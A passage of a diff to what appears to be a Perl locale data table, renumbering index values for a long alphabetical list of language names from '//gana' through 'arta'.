    q(//gana) => [
-      q(2571),
+      q(2573),
       q(0),
       ],
    q(//xegwi) => [
-      q(7314),
+      q(7317),
       q(0),
       ],
    q(/gwi) => [
-      q(2681),
+      q(2683),
       q(0),
       ],
    q(/xam) => [
-      q(7266),
+      q(7268),
       q(0),
       ],
    q(=/hua) => [
-      q(2848),
+      q(2850),
       q(0),
       ],
    q(=/ungkue) => [
-      q(2538),
+      q(2540),
       q(1),
       ],
    q(a'ou) => [
-      q(0831),
+      q(0832),
       q(0),
       ],
    q(a'tong) => [
-      q(0830),
+      q(0831),
       q(1),
       ],
    q(a-hmaos) => [
-      q(2775),
+      q(2777),
       q(1),
       ],
    q(a-pucikwar) => [
-      q(0849),
+      q(0850),
       q(0),
       ],
    q(aari) => [
-      q(0710),
+      q(0711),
       q(0),
       ],
    q(aasax) => [
-      q(0553),
+      q(0554),
       q(0),
       ],
    q(abadi) => [
-      q(3199),
+      q(3201),
       q(0),
       ],
    q(abaga) => [
-      q(0565),
+      q(0566),
       q(0),
       ],
    q(abai sungai) => [
-      q(0564),
+      q(0565),
       q(0),
       ],
    q(abanyom) => [
-      q(0570),
+      q(0571),
       q(0),
       ],
    q(abar) => [
-      q(4298),
+      q(4299),
       q(0),
       ],
    q(abau) => [
-      q(0555),
+      q(0556),
       q(0),
       ],
    q(abaza) => [
-      q(0574),
+      q(0575),
       q(0),
       ],
    q(abe) => [
-      q(0559),
+      q(0560),
       q(0),
       ],
    q(abellen ayta) => [
-      q(0573),
+      q(0574),
       q(0),
       ],
    q(abidji) => [
-      q(0567),
+      q(0568),
       q(0),
       ],
    q(abinomn) => [
-      q(1446),
+      q(1447),
       q(0),
       ],
    q(abipon) => [
-      q(0985),
+      q(0986),
       q(0),
       ],
    q(abishira) => [
-      q(0892),
+      q(0893),
       q(0),
       ],
    q(abkhazian) => [
@@ -24369,43 +24387,43 @@
       q(0),
       ],
    q(abom) => [
-      q(0815),
+      q(0816),
       q(0),
       ],
    q(abon) => [
-      q(0572),
+      q(0573),
       q(0),
       ],
    q(abron) => [
-      q(0575),
+      q(0576),
       q(0),
       ],
    q(abu) => [
-      q(0614),
+      q(0615),
       q(0),
       ],
    q(abu' arapesh) => [
-      q(0545),
+      q(0546),
       q(0),
       ],
    q(abua) => [
-      q(0571),
+      q(0572),
       q(0),
       ],
    q(abui) => [
-      q(0583),
+      q(0584),
       q(0),
       ],
    q(abun) => [
-      q(3321),
+      q(3322),
       q(0),
       ],
    q(abure) => [
-      q(0578),
+      q(0579),
       q(0),
       ],
    q(abureni) => [
-      q(4250),
+      q(4251),
       q(0),
       ],
    q(acatepec me'phaa) => [
@@ -24417,23 +24435,23 @@
       q(1),
       ],
    q(achagua) => [
-      q(0584),
+      q(0585),
       q(0),
       ],
    q(achang) => [
-      q(0592),
+      q(0593),
       q(0),
       ],
    q(ache) => [
-      q(2653),
+      q(2655),
       q(0),
       ],
    q(acheron) => [
-      q(0603),
+      q(0604),
       q(0),
       ],
    q(achi) => [
-      q(0595),
+      q(0596),
       q(0),
       ],
    q(achinese) => [
@@ -24441,15 +24459,15 @@
       q(0),
       ],
    q(achterhoeks) => [
-      q(0597),
+      q(0598),
       q(0),
       ],
    q(achuar-shiwiar) => [
-      q(0598),
+      q(0599),
       q(0),
       ],
    q(achumawi) => [
-      q(0599),
+      q(0600),
       q(0),
       ],
    q(acoli) => [
@@ -24457,31 +24475,31 @@
       q(0),
       ],
    q(acroa) => [
-      q(0596),
+      q(0597),
       q(0),
       ],
    q(adabe) => [
-      q(0604),
+      q(0605),
       q(0),
       ],
    q(adai) => [
-      q(7260),
+      q(7262),
       q(0),
       ],
    q(adamawa fulfulde) => [
-      q(2377),
+      q(2378),
       q(0),
       ],
    q(adamorobe sign language) => [
-      q(0617),
+      q(0618),
       q(0),
       ],
    q(adang) => [
-      q(0613),
+      q(0614),
       q(0),
       ],
    q(adangbe) => [
-      q(0615),
+      q(0616),
       q(0),
       ],
    q(adangme) => [
@@ -24489,7 +24507,7 @@
       q(0),
       ],
    q(adara) => [
-      q(3168),
+      q(3170),
       q(0),
       ],
    q(adasen) => [
@@ -24497,47 +24515,47 @@
       q(0),
       ],
    q(adele) => [
-      q(0606),
+      q(0607),
       q(0),
       ],
    q(adhola) => [
-      q(0609),
+      q(0610),
       q(0),
       ],
    q(adi) => [
-      q(0610),
+      q(0611),
       q(0),
       ],
    q(adilabad gondi) => [
-      q(7218),
+      q(7220),
       q(0),
       ],
    q(adioukrou) => [
-      q(0611),
+      q(0612),
       q(0),
       ],
    q(adithinngithigh) => [
-      q(2152),
+      q(2153),
       q(0),
       ],
    q(adivasi oriya) => [
-      q(5294),
+      q(5298),
       q(0),
       ],
    q(adiwasi garasia) => [
-      q(2412),
+      q(2413),
       q(0),
       ],
    q(adnyamathanha) => [
-      q(0618),
+      q(0619),
       q(0),
       ],
    q(adonara) => [
-      q(0616),
+      q(0617),
       q(0),
       ],
    q(aduge) => [
-      q(0619),
+      q(0620),
       q(0),
       ],
    q(adygei) => [
@@ -24549,27 +24567,27 @@
       q(0),
       ],
    q(adzera) => [
-      q(0622),
+      q(0623),
       q(0),
       ],
    q(aeka) => [
-      q(0638),
+      q(0639),
       q(0),
       ],
    q(aekyom) => [
-      q(0972),
+      q(0973),
       q(0),
       ],
    q(aequian) => [
-      q(7261),
+      q(7263),
       q(0),
       ],
    q(aer) => [
-      q(0632),
+      q(0633),
       q(0),
       ],
    q(afade) => [
-      q(0548),
+      q(0549),
       q(0),
       ],
    q(afar) => [
@@ -24577,19 +24595,19 @@
       q(0),
       ],
    q(afghan persian) => [
-      q(5592),
+      q(5595),
       q(1),
       ],
    q(afghan sign language) => [
-      q(0642),
+      q(0643),
       q(0),
       ],
    q(afitti) => [
-      q(0649),
+      q(0650),
       q(0),
       ],
    q(afra) => [
-      q(6878),
+      q(6879),
       q(1),
       ],
    q(afrihili) => [
@@ -24605,95 +24623,95 @@
       q(0),
       ],
    q(afro-seminole creole) => [
-      q(0648),
+      q(0649),
       q(0),
       ],
    q(agarabi) => [
-      q(0655),
+      q(0656),
       q(0),
       ],
    q(agariya) => [
-      q(0660),
+      q(0661),
       q(0),
       ],
    q(agatu) => [
-      q(0654),
+      q(0655),
       q(0),
       ],
    q(agavotaguerra) => [
-      q(0962),
+      q(0963),
       q(0),
       ],
    q(aghem) => [
-      q(0667),
+      q(0668),
       q(0),
       ],
    q(aghu) => [
-      q(0680),
+      q(0681),
       q(0),
       ],
    q(aghu-tharnggala) => [
-      q(2637),
+      q(2639),
       q(0),
       ],
    q(aghul) => [
-      q(0674),
+      q(0675),
       q(0),
       ],
    q(aghwan) => [
-      q(7262),
+      q(7264),
       q(0),
       ],
    q(agi) => [
-      q(0696),
+      q(0697),
       q(0),
       ],
    q(agob) => [
-      q(3367),
+      q(3368),
       q(0),
       ],
    q(agoi) => [
-      q(2887),
+      q(2890),
       q(0),
       ],
    q(aguacateco) => [
-      q(0671),
+      q(0672),
       q(0),
       ],
    q(aguano) => [
-      q(0652),
+      q(0653),
       q(0),
       ],
    q(aguaruna) => [
-      q(0668),
+      q(0669),
       q(0),
       ],
    q(aguna) => [
-      q(0937),
+      q(0938),
       q(0),
       ],
    q(agusan manobo) => [
-      q(4534),
+      q(4535),
       q(0),
       ],
    q(agutaynen) => [
-      q(0665),
+      q(0666),
       q(0),
       ],
    q(agwagwune) => [
-      q(7579),
+      q(7582),
       q(0),
       ],
    q(ahan) => [
-      q(0685),
+      q(0686),
       q(0),
       ],
    q(ahanta) => [
-      q(0677),
+      q(0678),
       q(0),
       ],
    q(aheri gondi) => [
-      q(2287),
+      q(2288),
       q(0),
       ],
    q(aheu) => [
@@ -24701,27 +24719,27 @@
       q(0),
       ],
    q(ahirani) => [
-      q(0688),
+      q(0689),
       q(0),
       ],
    q(ahom) => [
-      q(0686),
+      q(0687),
       q(0),
       ],
    q(ahtena) => [
-      q(0690),
+      q(0691),
       q(0),
       ],
    q(ahwai) => [
-      q(4822),
+      q(4824),
       q(0),
       ],
    q(ai-cham) => [
-      q(0698),
+      q(0699),
       q(0),
       ],
    q(aighon) => [
-      q(0711),
+      q(0712),
       q(0),
       ],
    q(aikana) => [
@@ -24729,23 +24747,23 @@
       q(0),
       ],
    q(aiklep) => [
-      q(4622),
+      q(4623),
       q(0),
       ],
    q(aimaq) => [
-      q(0706),
+      q(0707),
       q(0),
       ],
    q(aimele) => [
-      q(0702),
+      q(0703),
       q(0),
       ],
    q(aimol) => [
-      q(0703),
+      q(0704),
       q(0),
       ],
    q(ainbai) => [
-      q(0693),
+      q(0694),
       q(0),
       ],
    q(ainu) => [
@@ -24753,7 +24771,7 @@
       q(0),
       ],
    q(ainu (china)) => [
-      q(0692),
+      q(0693),
       q(0),
       ],
    q(ainu (japan)) => [
@@ -24761,83 +24779,83 @@
       q(1),
       ],
    q(aiome) => [
-      q(0729),
+      q(0730),
       q(0),
       ],
    q(airoran) => [
-      q(0707),
+      q(0708),
       q(0),
       ],
    q(aiton) => [
-      q(0704),
+      q(0705),
       q(0),
       ],
    q(aiwoo) => [
-      q(4823),
+      q(4825),
       q(1),
       ],
    q(aja (benin)) => [
-      q(0714),
+      q(0715),
       q(0),
       ],
    q(aja (sudan)) => [
-      q(0713),
+      q(0714),
       q(0),
       ],
    q(ajawa) => [
-      q(0720),
+      q(0721),
       q(0),
       ],
    q(ajie) => [
-      q(0715),
+      q(0716),
       q(0),
       ],
    q(ajiya) => [
-      q(2898),
+      q(2901),
       q(1),
       ],
    q(ajumbu) => [
-      q(4574),
+      q(4575),
       q(0),
       ],
    q(ajyininka apurucayali) => [
-      q(1828),
+      q(1829),
       q(0),
       ],
    q(ak) => [
-      q(0735),
+      q(0736),
       q(0),
       ],
    q(aka) => [
-      q(6152),
+      q(6151),
       q(0),
       ],
    q(aka-bea) => [
-      q(0568),
+      q(0569),
       q(0),
       ],
    q(aka-bo) => [
-      q(0732),
+      q(0733),
       q(0),
       ],
    q(aka-cari) => [
-      q(0588),
+      q(0589),
       q(0),
       ],
    q(aka-jeru) => [
-      q(0730),
+      q(0731),
       q(0),
       ],
    q(aka-kede) => [
-      q(0742),
+      q(0743),
       q(0),
       ],
    q(aka-kol) => [
-      q(0743),
+      q(0744),
       q(0),
       ],
    q(aka-kora) => [
-      q(0589),
+      q(0590),
       q(0),
       ],
    q(akan) => [
@@ -24845,23 +24863,23 @@
       q(0),
       ],
    q(akar-bale) => [
-      q(0590),
+      q(0591),
       q(0),
       ],
    q(akaselem) => [
-      q(0737),
+      q(0738),
       q(0),
       ],
    q(akawaio) => [
-      q(0725),
+      q(0726),
       q(0),
       ],
    q(ake) => [
-      q(0701),
+      q(0702),
       q(0),
       ],
    q(akebu) => [
-      q(3274),
+      q(3276),
       q(0),
       ],
    q(akei) => [
@@ -24869,15 +24887,15 @@
       q(0),
       ],
    q(akeu) => [
-      q(0635),
+      q(0636),
       q(0),
       ],
    q(akha) => [
-      q(0682),
+      q(0683),
       q(0),
       ],
    q(akhvakh) => [
-      q(0740),
+      q(0741),
       q(0),
       ],
    q(akkadian) => [
@@ -24885,119 +24903,119 @@
       q(0),
       ],
    q(akkala sami) => [
-      q(6024),
+      q(6025),
       q(0),
       ],
    q(aklanon) => [
-      q(0731),
+      q(0732),
       q(0),
       ],
    q(akolet) => [
-      q(0738),
+      q(0739),
       q(0),
       ],
    q(akoose) => [
-      q(1463),
+      q(1464),
       q(0),
       ],
    q(akoye) => [
-      q(4308),
+      q(4309),
       q(0),
       ],
    q(akpa) => [
-      q(0726),
+      q(0727),
       q(0),
       ],
    q(akpes) => [
-      q(2884),
+      q(2886),
       q(0),
       ],
    q(akrukay) => [
-      q(0643),
+      q(0644),
       q(0),
       ],
    q(akukem) => [
-      q(6176),
+      q(6175),
       q(0),
       ],
    q(akuku) => [
-      q(1000),
+      q(1001),
       q(0),
       ],
    q(akum) => [
-      q(0739),
+      q(0740),
       q(0),
       ],
    q(akuntsu) => [
-      q(0867),
+      q(0868),
       q(0),
       ],
    q(akurio) => [
-      q(0733),
+      q(0734),
       q(0),
       ],
    q(akwa) => [
-      q(0741),
+      q(0742),
       q(0),
       ],
    q(akyaung ari naga) => [
-      q(5039),
+      q(5043),
       q(0),
       ],
    q(al-sayyid bedouin sign language) => [
-      q(6335),
+      q(6334),
       q(0),
       ],
    q(alaba-k'abeena) => [
-      q(0762),
+      q(0763),
       q(0),
       ],
    q(alabama) => [
-      q(0744),
+      q(0745),
       q(0),
       ],
    q(alabat island agta) => [
-      q(2173),
+      q(2174),
       q(0),
       ],
    q(alacalufan languages) => [
-      q(0489),
+      q(0490),
       q(0),
       ],
    q(alacatlatzala mixtec) => [
-      q(4301),
+      q(4302),
       q(0),
       ],
    q(alago) => [
-      q(0745),
+      q(0746),
       q(0),
       ],
    q(alagwa) => [
-      q(7067),
+      q(7068),
       q(0),
       ],
    q(alak) => [
-      q(0752),
+      q(0753),
       q(0),
       ],
    q(alamblak) => [
-      q(0779),
+      q(0780),
       q(0),
       ],
    q(alangan) => [
-      q(0751),
+      q(0752),
       q(0),
       ],
    q(alanic) => [
-      q(7383),
+      q(7386),
       q(0),
       ],
    q(alapmunte) => [
-      q(0854),
+      q(0855),
       q(0),
       ],
    q(alawa) => [
-      q(0749),
+      q(0750),
       q(0),
       ],
    q(albanian) => [
@@ -25005,27 +25023,27 @@
       q(0),
       ],
    q(albanian languages) => [
-      q(0525),
+      q(0526),
       q(0),
       ],
    q(albanian sign language) => [
-      q(6190),
+      q(6189),
       q(0),
       ],
    q(alcozauca mixtec) => [
-      q(7489),
+      q(7492),
       q(0),
       ],
    q(alege) => [
-      q(0748),
+      q(0749),
       q(0),
       ],
    q(alekano) => [
-      q(2401),
+      q(2402),
       q(0),
       ],
    q(alemannic) => [
-      q(0166),
+      q(0167),
       q(1),
       ],
    q(aleut) => [
@@ -25033,19 +25051,19 @@
       q(0),
       ],
    q(algerian arabic) => [
-      q(0877),
+      q(0878),
       q(0),
       ],
    q(algerian saharan arabic) => [
-      q(0550),
+      q(0551),
       q(0),
       ],
    q(algerian sign language) => [
-      q(0899),
+      q(0900),
       q(0),
       ],
    q(algic languages) => [
-      q(0490),
+      q(0491),
       q(0),
       ],
    q(algonquian languages) => [
@@ -25053,135 +25071,135 @@
       q(0),
       ],
    q(algonquin) => [
-      q(0758),
+      q(0759),
       q(0),
       ],
    q(ali) => [
-      q(0712),
+      q(0713),
       q(0),
       ],
    q(alladian) => [
-      q(0747),
+      q(0748),
       q(0),
       ],
    q(allar) => [
-      q(0753),
+      q(0754),
       q(0),
       ],
    q(alngith) => [
-      q(0694),
+      q(0695),
       q(0),
       ],
    q(alo phola) => [
-      q(7715),
+      q(7718),
       q(0),
       ],
    q(aloapam zapotec) => [
-      q(7801),
+      q(7804),
       q(0),
       ],
    q(alor) => [
-      q(0825),
+      q(0826),
       q(0),
       ],
    q(alsatian) => [
-      q(0166),
+      q(0167),
       q(2),
       ],
    q(alsea) => [
-      q(0634),
+      q(0635),
       q(0),
       ],
    q(altaic languages) => [
-      q(0445),
+      q(0446),
       q(0),
       ],
    q(alu kurumba) => [
-      q(7512),
+      q(7515),
       q(0),
       ],
    q(alugu) => [
-      q(0934),
+      q(0935),
       q(0),
       ],
    q(alumu-tesu) => [
-      q(0539),
+      q(0540),
       q(0),
       ],
    q(alune) => [
-      q(0757),
+      q(0758),
       q(0),
       ],
    q(aluo) => [
-      q(7688),
+      q(7691),
       q(0),
       ],
    q(alur) => [
-      q(0765),
+      q(0766),
       q(0),
       ],
    q(alutor) => [
-      q(0759),
+      q(0760),
       q(0),
       ],
    q(alviri-vidari) => [
-      q(0956),
+      q(0957),
       q(0),
       ],
    q(alyawarr) => [
-      q(0764),
+      q(0765),
       q(0),
       ],
    q(ama (papua new guinea)) => [
-      q(0776),
+      q(0777),
       q(0),
       ],
    q(ama (sudan)) => [
-      q(5154),
+      q(5158),
       q(0),
       ],
    q(amahai) => [
-      q(0780),
+      q(0781),
       q(0),
       ],
    q(amahuaca) => [
-      q(0768),
+      q(0769),
       q(0),
       ],
    q(amaimon) => [
-      q(0750),
+      q(0751),
       q(0),
       ],
    q(amal) => [
-      q(0541),
+      q(0542),
       q(0),
       ],
    q(amanab) => [
-      q(0777),
+      q(0778),
       q(0),
       ],
    q(amanaye) => [
-      q(0766),
+      q(0767),
       q(0),
       ],
    q(amara) => [
-      q(0695),
+      q(0696),
       q(0),
       ],
    q(amarakaeri) => [
-      q(0781),
+      q(0782),
       q(0),
       ],
    q(amarasi) => [
-      q(0558),
+      q(0559),
       q(0),
       ],
    q(amatlan zapotec) => [
-      q(7910),
+      q(7913),
       q(0),
       ],
    q(amba (solomon islands)) => [
-      q(6940),
+      q(6941),
       q(0),
       ],
    q(amba (uganda)) => [
@@ -25189,71 +25207,71 @@
       q(0),
       ],
    q(ambai) => [
-      q(0774),
+      q(0775),
       q(0),
       ],
    q(ambakich) => [
-      q(0636),
+      q(0637),
       q(0),
       ],
    q(ambala ayta) => [
-      q(0561),
+      q(0562),
       q(0),
       ],
    q(ambelau) => [
-      q(0785),
+      q(0786),
       q(0),
       ],
    q(ambele) => [
-      q(0629),
+      q(0630),
       q(0),
       ],
    q(amblong) => [
-      q(0754),
+      q(0755),
       q(0),
       ],
    q(ambo) => [
-      q(0767),
+      q(0768),
       q(0),
       ],
    q(ambo-pasco quechua) => [
-      q(5689),
+      q(5691),
       q(0),
       ],
    q(ambonese malay) => [
-      q(0576),
+      q(0577),
       q(0),
       ],
    q(ambrak) => [
-      q(0544),
+      q(0545),
       q(0),
       ],
    q(ambul) => [
-      q(0847),
+      q(0848),
       q(0),
       ],
    q(ambulas) => [
-      q(0577),
+      q(0578),
       q(0),
       ],
    q(amdang) => [
-      q(0773),
+      q(0774),
       q(0),
       ],
    q(amdo tibetan) => [
-      q(0621),
+      q(0622),
       q(0),
       ],
    q(amele) => [
-      q(0637),
+      q(0638),
       q(0),
       ],
    q(american sign language) => [
-      q(0889),
+      q(0890),
       q(0),
       ],
    q(amganad ifugao) => [
-      q(2906),
+      q(2909),
       q(0),
       ],
    q(amharic) => [
@@ -25261,7 +25279,7 @@
       q(0),
       ],
    q(ami) => [
-      q(0788),
+      q(0789),
       q(0),
       ],
    q(amio-gelimi) => [
@@ -25269,203 +25287,203 @@
       q(1),
       ],
    q(amis) => [
-      q(0772),
+      q(0773),
       q(0),
       ],
    q(amo) => [
-      q(0778),
+      q(0779),
       q(0),
       ],
    q(amol) => [
-      q(0763),
+      q(0764),
       q(0),
       ],
    q(amoltepec mixtec) => [
-      q(4143),
+      q(4144),
       q(0),
       ],
    q(ampanang) => [
-      q(0839),
+      q(0840),
       q(0),
       ],
    q(ampari dogon) => [
-      q(0860),
+      q(0861),
       q(0),
       ],
    q(amri karbi) => [
-      q(0721),
+      q(0722),
       q(0),
       ],
    q(amto) => [
-      q(0783),
+      q(0784),
       q(0),
       ],
    q(amundava) => [
-      q(0620),
+      q(0621),
       q(0),
       ],
    q(amurdak) => [
-      q(0771),
+      q(0772),
       q(0),
       ],
    q(ana tinga dogon) => [
-      q(2153),
+      q(2154),
       q(0),
       ],
    q(anaang) => [
-      q(0810),
+      q(0811),
       q(0),
       ],
    q(anakalangu) => [
-      q(0727),
+      q(0728),
       q(0),
       ],
    q(anal) => [
-      q(0801),
+      q(0802),
       q(0),
       ],
    q(anam) => [
-      q(5389),
+      q(5393),
       q(0),
       ],
    q(anambe) => [
-      q(0549),
+      q(0550),
       q(0),
       ],
    q(anamgura) => [
-      q(2957),
+      q(2960),
       q(0),
       ],
    q(anasi) => [
-      q(1385),
+      q(1386),
       q(0),
       ],
    q(anca) => [
-      q(0585),
+      q(0586),
       q(0),
       ],
    q(ancient aramaic (up to 700 bce)) => [
-      q(5178),
+      q(5182),
       q(1),
       ],
    q(ancient greek (to 1453)) => [
-      q(0163),
+      q(0164),
       q(1),
       ],
    q(ancient hebrew) => [
-      q(2730),
+      q(2732),
       q(0),
       ],
    q(ancient macedonian) => [
-      q(7398),
+      q(7401),
       q(0),
       ],
    q(ancient north arabian) => [
-      q(7414),
+      q(7417),
       q(0),
       ],
    q(ancient zapotec) => [
-      q(7556),
+      q(7559),
       q(0),
       ],
    q(andaandi) => [
-      q(2006),
+      q(2007),
       q(0),
       ],
    q(andai) => [
-      q(0640),
+      q(0641),
       q(0),
       ],
    q(andajin) => [
-      q(0716),
+      q(0717),
       q(0),
       ],
    q(andalusian arabic) => [
-      q(7257),
+      q(7259),
       q(0),
       ],
    q(andaman creole hindi) => [
-      q(2732),
+      q(2734),
       q(0),
       ],
    q(andaqui) => [
-      q(0790),
+      q(0791),
       q(0),
       ],
    q(andarum) => [
-      q(0817),
+      q(0818),
       q(0),
       ],
    q(andegerebinha) => [
-      q(0608),
+      q(0609),
       q(0),
       ],
    q(andh) => [
-      q(0805),
+      q(0806),
       q(0),
       ],
    q(andi) => [
-      q(0797),
+      q(0798),
       q(0),
       ],
    q(andio) => [
-      q(1612),
+      q(1613),
       q(0),
       ],
    q(andoa) => [
-      q(0791),
+      q(0792),
       q(0),
       ],
    q(andoque) => [
-      q(0803),
+      q(0804),
       q(0),
       ],
    q(andra-hus) => [
-      q(0811),
+      q(0812),
       q(0),
       ],
    q(aneityum) => [
-      q(0931),
+      q(0932),
       q(0),
       ],
    q(anem) => [
-      q(0813),
+      q(0814),
       q(0),
       ],
    q(aneme wake) => [
-      q(0582),
+      q(0583),
       q(0),
       ],
    q(anfillo) => [
-      q(4677),
+      q(4678),
       q(0),
       ],
    q(angaataha) => [
-      q(0664),
+      q(0665),
       q(0),
       ],
    q(angaite) => [
-      q(0866),
+      q(0867),
       q(0),
       ],
    q(angal) => [
-      q(0656),
+      q(0657),
       q(0),
       ],
    q(angal enen) => [
-      q(0818),
+      q(0819),
       q(0),
       ],
    q(angal heneng) => [
-      q(0728),
+      q(0729),
       q(0),
       ],
    q(angami naga) => [
-      q(4903),
+      q(4905),
       q(0),
       ],
    q(angguruk yali) => [
-      q(7662),
+      q(7665),
       q(0),
       ],
    q(angika) => [
@@ -25473,27 +25491,27 @@
       q(0),
       ],
    q(angkamuthi) => [
-      q(0960),
+      q(0961),
       q(0),
       ],
    q(anglo-norman) => [
-      q(7421),
+      q(7424),
       q(0),
       ],
    q(angloromani) => [
-      q(5798),
+      q(5799),
       q(0),
       ],
    q(angolar) => [
-      q(0814),
+      q(0815),
       q(0),
       ],
    q(angor) => [
-      q(0658),
+      q(0659),
       q(0),
       ],
    q(angoram) => [
-      q(0820),
+      q(0821),
       q(0),
       ],
    q(angosturas tunebo) => [
@@ -25501,115 +25519,115 @@
       q(0),
       ],
    q(anguthimri) => [
-      q(0970),
+      q(0971),
       q(0),
       ],
    q(ani) => [
-      q(2798),
+      q(2800),
       q(1),
       ],
    q(ani phowa) => [
-      q(7714),
+      q(7717),
       q(0),
       ],
    q(anii) => [
-      q(1291),
+      q(1292),
       q(0),
       ],
    q(animere) => [
-      q(0795),
+      q(0796),
       q(0),
       ],
    q(anindilyakwa) => [
-      q(0822),
+      q(0823),
       q(0),
       ],
    q(anjam) => [
-      q(1358),
+      q(1359),
       q(0),
       ],
    q(ankave) => [
-      q(0547),
+      q(0548),
       q(0),
       ],
    q(anmatyerre) => [
-      q(0787),
+      q(0788),
       q(0),
       ],
    q(anong) => [
-      q(5107),
+      q(5111),
       q(0),
       ],
    q(anor) => [
-      q(0798),
+      q(0799),
       q(0),
       ],
    q(anserma) => [
-      q(0806),
+      q(0807),
       q(0),
       ],
    q(ansus) => [
-      q(0793),
+      q(0794),
       q(0),
       ],
    q(antakarinya) => [
-      q(0807),
+      q(0808),
       q(0),
       ],
    q(antankarana malagasy) => [
-      q(7409),
+      q(7412),
       q(0),
       ],
    q(antigua and barbuda creole english) => [
-      q(0697),
+      q(0698),
       q(0),
       ],
    q(anu-hkongso chin) => [
-      q(0800),
+      q(0801),
       q(0),
       ],
    q(anuak) => [
-      q(0808),
+      q(0809),
       q(0),
       ],
    q(anufo) => [
-      q(1755),
+      q(1756),
       q(0),
       ],
    q(anuki) => [
-      q(0939),
+      q(0940),
       q(0),
       ],
    q(anus) => [
-      q(0947),
+      q(0948),
       q(0),
       ],
    q(anuta) => [
-      q(0936),
+      q(0937),
       q(0),
       ],
    q(anyin) => [
-      q(0812),
+      q(0813),
       q(0),
       ],
    q(anyin morofo) => [
-      q(4548),
+      q(4549),
       q(0),
       ],
    q(ao naga) => [
-      q(4905),
+      q(4907),
       q(0),
       ],
    q(aoheng) => [
-      q(5528),
+      q(5532),
       q(0),
       ],
    q(aore) => [
-      q(0828),
+      q(0829),
       q(0),
       ],
    q(ap ma) => [
-      q(3203),
+      q(3205),
       q(0),
       ],
    q(apache languages) => [
@@ -25617,59 +25635,59 @@
       q(0),
       ],
    q(apalachee) => [
-      q(7269),
+      q(7271),
       q(0),
       ],
    q(apalai) => [
-      q(0857),
+      q(0858),
       q(0),
       ],
    q(apali) => [
-      q(2259),
+      q(2260),
       q(0),
       ],
    q(apasco-apoala mixtec) => [
-      q(4303),
+      q(4304),
       q(0),
       ],
    q(apatani) => [
-      q(0852),
+      q(0853),
       q(0),
       ],
    q(apiaka) => [
-      q(0841),
+      q(0842),
       q(0),
       ],
    q(apinaye) => [
-      q(0846),
+      q(0847),
       q(0),
       ],
    q(apma) => [
-      q(0848),
+      q(0849),
       q(0),
       ],
    q(aproumu aizi) => [
-      q(0687),
+      q(0688),
       q(0),
       ],
    q(apurina) => [
-      q(0853),
+      q(0854),
       q(0),
       ],
    q(aputai) => [
-      q(0856),
+      q(0857),
       q(0),
       ],
    q(aquitanian) => [
-      q(7270),
+      q(7272),
       q(0),
       ],
    q(arabana) => [
-      q(0869),
+      q(0870),
       q(0),
       ],
    q(arabela) => [
-      q(0875),
+      q(0876),
       q(0),
       ],
    q(arabic) => [
@@ -25681,35 +25699,35 @@
       q(0),
       ],
    q(araki) => [
-      q(0736),
+      q(0737),
       q(0),
       ],
    q(arakwal) => [
-      q(5793),
+      q(5794),
       q(0),
       ],
    q(aralle-tabulahan) => [
-      q(0923),
+      q(0924),
       q(0),
       ],
    q(arammba) => [
-      q(6253),
+      q(6252),
       q(0),
       ],
    q(aranadan) => [
-      q(0543),
+      q(0544),
       q(0),
       ],
    q(aranama-tamique) => [
-      q(7468),
+      q(7471),
       q(0),
       ],
    q(arandai) => [
-      q(3058),
+      q(3061),
       q(0),
       ],
    q(araona) => [
-      q(0876),
+      q(0877),
       q(0),
       ],
    q(arapaho) => [
@@ -25717,19 +25735,19 @@
       q(0),
       ],
    q(arapaso) => [
-      q(0873),
+      q(0874),
       q(0),
       ],
    q(ararandewara) => [
-      q(7264),
+      q(7266),
       q(0),
       ],
    q(arauan languages) => [
-      q(0491),
+      q(0492),
       q(0),
       ],
    q(arawa) => [
-      q(0880),
+      q(0881),
       q(1),
       ],
    q(arawak) => [
@@ -25737,75 +25755,75 @@
       q(0),
       ],
    q(arawakan languages) => [
-      q(0492),
+      q(0493),
       q(0),
       ],
    q(arawete) => [
-      q(0979),
+      q(0980),
       q(0),
       ],
    q(arawum) => [
-      q(0974),
+      q(0975),
       q(0),
       ],
    q(arbereshe albanian) => [
-      q(0542),
+      q(0543),
       q(0),
       ],
    q(arbore) => [
-      q(0881),
+      q(0882),
       q(0),
       ],
    q(archi) => [
-      q(0859),
+      q(0860),
       q(0),
       ],
    q(ardhamagadhi prakrit) => [
-      q(5467),
+      q(5471),
       q(0),
       ],
    q(are) => [
-      q(4619),
+      q(4620),
       q(0),
       ],
    q(areba) => [
-      q(0623),
+      q(0624),
       q(0),
       ],
    q(arem) => [
-      q(0630),
+      q(0631),
       q(0),
       ],
    q(arequipa-la union quechua) => [
-      q(5721),
+      q(5723),
       q(0),
       ],
    q(argentine sign language) => [
-      q(0626),
+      q(0627),
       q(0),
       ],
    q(argobba) => [
-      q(0661),
+      q(0662),
       q(0),
       ],
    q(arguni) => [
-      q(0657),
+      q(0658),
       q(0),
       ],
    q(arha) => [
-      q(0865),
+      q(0866),
       q(0),
       ],
    q(arho) => [
-      q(0824),
+      q(0825),
       q(0),
       ],
    q(arhuaco) => [
-      q(0871),
+      q(0872),
       q(0),
       ],
    q(ari) => [
-      q(0540),
+      q(0541),
       q(0),
       ],
    q(aribwatsa) => [
@@ -25813,43 +25831,43 @@
       q(0),
       ],
    q(aribwaung) => [
-      q(7668),
+      q(7671),
       q(0),
       ],
    q(arifama-miniafia) => [
-      q(0546),
+      q(0547),
       q(0),
       ],
    q(arigidi) => [
-      q(0861),
+      q(0862),
       q(0),
       ],
    q(arikapu) => [
-      q(0874),
+      q(0875),
       q(0),
       ],
    q(arikara) => [
-      q(0872),
+      q(0873),
       q(0),
       ],
    q(arikem) => [
-      q(0709),
+      q(0710),
       q(0),
       ],
    q(arin) => [
-      q(7465),
+      q(7468),
       q(0),
       ],
    q(aringa) => [
-      q(4068),
+      q(4069),
       q(0),
       ],
    q(arma) => [
-      q(0821),
+      q(0822),
       q(0),
       ],
    q(armazic) => [
-      q(7464),
+      q(7467),
       q(0),
       ],
    q(armenian) => [
@@ -25857,39 +25875,39 @@
       q(0),
       ],
    q(armenian (family)) => [
-      q(0511),
+      q(0512),
       q(0),
       ],
    q(armenian sign language) => [
-      q(0631),
+      q(0632),
       q(0),
       ],
    q(aromanian) => [
-      q(0362),
+      q(0363),
       q(0),
       ],
    q(arop-lokep) => [
-      q(0850),
+      q(0851),
       q(0),
       ],
    q(arop-sissano) => [
-      q(0851),
+      q(0852),
       q(0),
       ],
    q(arosi) => [
-      q(0691),
+      q(0692),
       q(0),
       ],
    q(arpitan) => [
-      q(2371),
+      q(2372),
       q(0),
       ],
    q(arritinngithigh) => [
-      q(5841),
+      q(5842),
       q(0),
       ],
    q(arta) => [
-      q(0932),
